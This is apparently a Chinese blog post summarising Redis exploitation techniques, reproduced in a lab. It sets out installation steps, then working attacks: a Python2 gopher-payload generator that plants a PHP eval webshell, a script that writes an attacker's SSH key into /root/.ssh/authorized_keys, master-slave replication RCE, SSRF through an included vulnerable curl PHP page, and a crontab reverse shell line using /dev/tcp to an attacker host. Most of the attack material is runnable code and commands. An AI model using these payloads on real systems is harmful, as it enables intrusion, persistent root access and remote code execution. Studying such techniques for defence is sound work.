Redis系列漏洞总结
文章目录
- Redis系列漏洞总结
- 环境:ubuntu16.04,redis5.0.1
- redis下载及安装
- redis 漏洞利用方式
- 0x01 绝对路径写shell
- 0x02 redis 写入ssh公钥
- 0x03 Redis主从复制getshell
- redis 主从结合ssrf
- 0x04redis利用crontab定时任务反弹getshell(此方式只针对centos服务器)
环境:ubuntu16.04,redis5.0.1
redis下载及安装
-
下载
wget http://download.redis.io/releases/redis-5.0.0.tar.gz
-
解压
sudo tar xzvf redis-5.0.0.tar.gz
-
创建文件夹
mkdir /usr/local/redis5
mkdir /etc/redis5
-
移动文件
cp -r redis-5.0.0/* /usr/local/redis5/
-
进入安装目录进行安装
ls /usr/local/redis5/
cd /usr/local/redis5
sudo make
cd /usr/local/redis5/src/
sudo make test //如果安装报错,更新tcl:sudo apt install tcl8.6,再重新运行
sudo make install //安装
-
查看编译好的命令文件
ls /usr/local/bin/redis-*
--/usr/local/bin/redis-benchmark 性能测试工具
--/usr/local/bin/redis-check-aof 更新日志检查
--/usr/local/bin/redis-check-dump 本地数据文件检查
--/usr/local/bin/redis-cli 命令行操作工具
--/usr/local/bin/redis-server 服务器程序
-
修改配置文件
cd /usr/local/redis5
cp redis.conf /etc/redis5/
vim /etc/redis5/redis.conf
bind 0.0.0.0(允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登,如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆)
protected-mode no (如果开启则会禁止公网访问redis)
daemonize yes//改为后台运行
-
启动
cd /usr/local/redis5
redis-server /etc/redis5/redis.conf
-
关闭
redis-cli shutdown
redis-cli -p 6379 shutdown
redis-cli -h 192.168.9.206 -p 6379 shutdown
(根据情况选择关闭服务器命令)
redis 漏洞利用方式
0x01 绝对路径写shell
-
环境
靶机ubtuntu16:118.31.47.97
sudo apt install apache2
sudo apt install php
sudo apt install php-redis
sudo apt-get install libapache2-mod-php
sudo apt install php-curl
攻击主机ubuntu16 本机
服务器:redis5.0.0,apache,php
-
利用条件
能未授权或者能通过弱口令认证访问到Redis服务器
root权限启动redis服务
需要知道目标的web目录绝对路径
-
漏洞复现
使用客户端连接redis数据库,并测试手动写shell
flushall
set 1 '<?php phpinfo(); ?>'
config set dir /var/www/html
config set dbfilename phpinfo.php
save
接下来使用gopher协议来将shell转换成RESP格式
import urllib
protocol="gopher://"
ip="118.31.47.97"
port="6379"
shell="\n\n<?php @eval($_POST['shell'])?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
python2运行
在攻击机上运行
写入成功,且可以命令执行
0x02 redis 写入ssh公钥
-
环境:
靶机:ubtuntu16:118.31.47.97
攻击主机:ubuntu16 本机
服务器:redis5.0.0
-
参考连接:https://www.freebuf.com/articles/web/249238.html
https://www.wjlshare.xyz/2020/06/07/redis-%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#redis_%E5%86%99%E5%85%A5ssh%E5%85%AC%E9%92%A5
-
利用条件
目标主机开通了ssh服务
root权限启动了redis服务
-
原理
通过向受害机写入ssh公钥,然后利用本地的私钥进行ssh登陆这样就不需要密码了
当以root身份运行redis服务的时候,可以通过redis命令给root用户写入ssh公钥
大致思路如下:攻击主机创建一对rsa公钥和私钥,利用gopher协议让redis执行命令将ssh公钥写入root用户(写入到/.ssh文件夹),然后ssh -i利用本地私钥直接进行免密码登陆
-
漏洞复现
本机生成密钥
ssh-keygen -t rsa
密钥对路径/home/zero/.ssh,但是,如果是root权限,其目录在/root/.ssh/
改写python2脚本
import urllib
protocol="gopher://"
ip="118.31.47.97"
port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPa5vqtM0AL1AfzRCwlr3LJRVCXb/KdAGRbfogjNxC2XargLpMhTIvittfSlaVrm95dSTyttOYNbfsjIMnovtzQ6GPsQRCWRemsaulZnHvXhohdL68nf/mD9+bIlBp4wwO4juVPetB0+K7jJTYD+OmMolvNCbQN/DwNcTSnLs8b/cfoDGz6MJEbJYG9yoLdAYS22WaszBodS5vJqy9CRteCwGs0ol01LkgYs02xseljEmRLs1y3NZoLYpSEFIrsPcQNVJI/a3SMs9cihHIS6dY+6iUgPuNir9ImYXByDB3y0RbFk2/P2cNcf+K67vmBxQOWNaBy+ghz7nXT4WIBXb7 zero@zero-OS\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
运行正常,说明成功导入
然后回到 /root/.ssh 文件夹下,用里面的私钥通过ssh直接进行登陆
通过下面可以发现,虽然不能使用ssh-key连接,但是,却可以使用ssh root@118.31.47.97无密码直接进入服务器
0x03 Redis主从复制getshell
-
环境
靶机:ubuntu16 :10.0.2.6
sudo apt install apache2
sudo apt install php
sudo apt install php-redis
sudo apt-get install libapache2-mod-php
sudo apt install php-curl
攻击主机:kali2020:10.0.2.5
服务器:redis5.0.0
-
参考链接:
https://www.wjlshare.xyz/2020/06/07/redis-%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#%E5%89%8D%E8%A8%80
https://www.freebuf.com/articles/web/249238.html
-
影响版本
4.x,5.x
-
原理
redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担。所以redis采用了主从模式来缓解。主从模式就是让一个redis作为主机,另外的redis作为从机(可以理解为备份机),然后主机和从机中的数据是完全一样的。然后主机负责写,从机负责读。通过读写分离还缓解服务端上的流量压力
-
漏洞成因
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis
-
漏洞复现
模拟主从关系
root@kali:/home/os
10.0.2.6:6379> slaveof 10.0.2.5 6379
OK
10.0.2.6:6379> get zero
(nil)
10.0.2.6:6379> exit
root@kali:/home/os
127.0.0.1:6379> get zero
(nil)
127.0.0.1:6379> set zero zero
OK
127.0.0.1:6379> exit
root@kali:/home/os
10.0.2.6:6379> get zero
"zero"
10.0.2.6:6379>
设置主从关系:
root@kali:/home/os
10.0.2.6:6379> slaveof 10.0.2.5 6379
OK
下载github上的cve:https://github.com/n0b0dyCN/redis-rogue-server
两种使用方法:一种是交互式shell,另一种是反弹shell
redis 主从结合ssrf
-
环境:
靶机:ubuntu16 :10.0.2.6
sudo apt install apache2
sudo apt install php
sudo apt install php-redis
sudo apt-get install libapache2-mod-php
sudo apt install php-curl
攻击主机:kali2020:10.0.2.5
服务器:redis5.0.0,apache,php
-
参考:https://www.cnblogs.com/xiaozi/p/13089906.html
参照Redis手动getshell的过程,可轻易实现SSRF+Redis反弹shell。
以curl为例,漏洞代码为ssrf.php,将其放置在靶机web服务器中:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
-
直接写入失败,所以可以采用主从复制写入
-
清除没用的数据
ssrf.php?url=dict://10.0.2.6:6379/flushall
-
设置主从关系ubuntu16为从,kali为主
ssrf.php?url=dict://10.0.2.6:6379/slaveof:10.0.2.5:6379
-
设置保存目录
ssrf.php?url=dict://10.0.2.6:6379/config:set:dir:/var/www/html
-
设置保存文件名称
ssrf.php?url=dict://10.0.2.6:6379/config:set:dbfilename:phpinfo.php
-
进入kali,写文件
redis-cli
set info "\n\n\n<?php phpinfo() ;?>\n\n\n"
-
回到web端执行save操作
ssrf.php?url=dict://10.0.2.6:6379/save
-
切断主从复制
ssrf.php?url=dict://10.0.2.6:6379/slaveof:no:one
-
测试是否写入成功
0x04redis利用crontab定时任务反弹getshell(此方式只针对centos服务器)
-
环境
靶机:centos6.5:10.0.2.15
攻击主机:kali2020:10.0.2.5
服务器:redis5.0.0
-
参考:https://www.zengjunpeng.com/?id=149
-
ubuntu和centos反弹shell的差异
1.因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.由于系统的不同,crontrab定时文件位置也会不同,Centos的定时任务文件在/var/spool/cron/,而Ubuntu定时任务文件在/var/spool/cron/crontabs/
4.Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限
-
漏洞复现
清除防火墙并且启动redis(root权限运行)
iptables -F
redis-server /etc/redis5.0.0/redis.conf
centos写shell
127.0.0.1:6379> CONFIG SET dir /var/spool/cron <--切换到定时任务目录
OK
127.0.0.1:6379> CONFIG SET dbfilename root <--生成一个名为root的文件
OK
127.0.0.1:6379> set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.2.5/9999 0>&1\n\n" <--设置反弹shell
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit
kalij接受shell
成功反弹shell
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)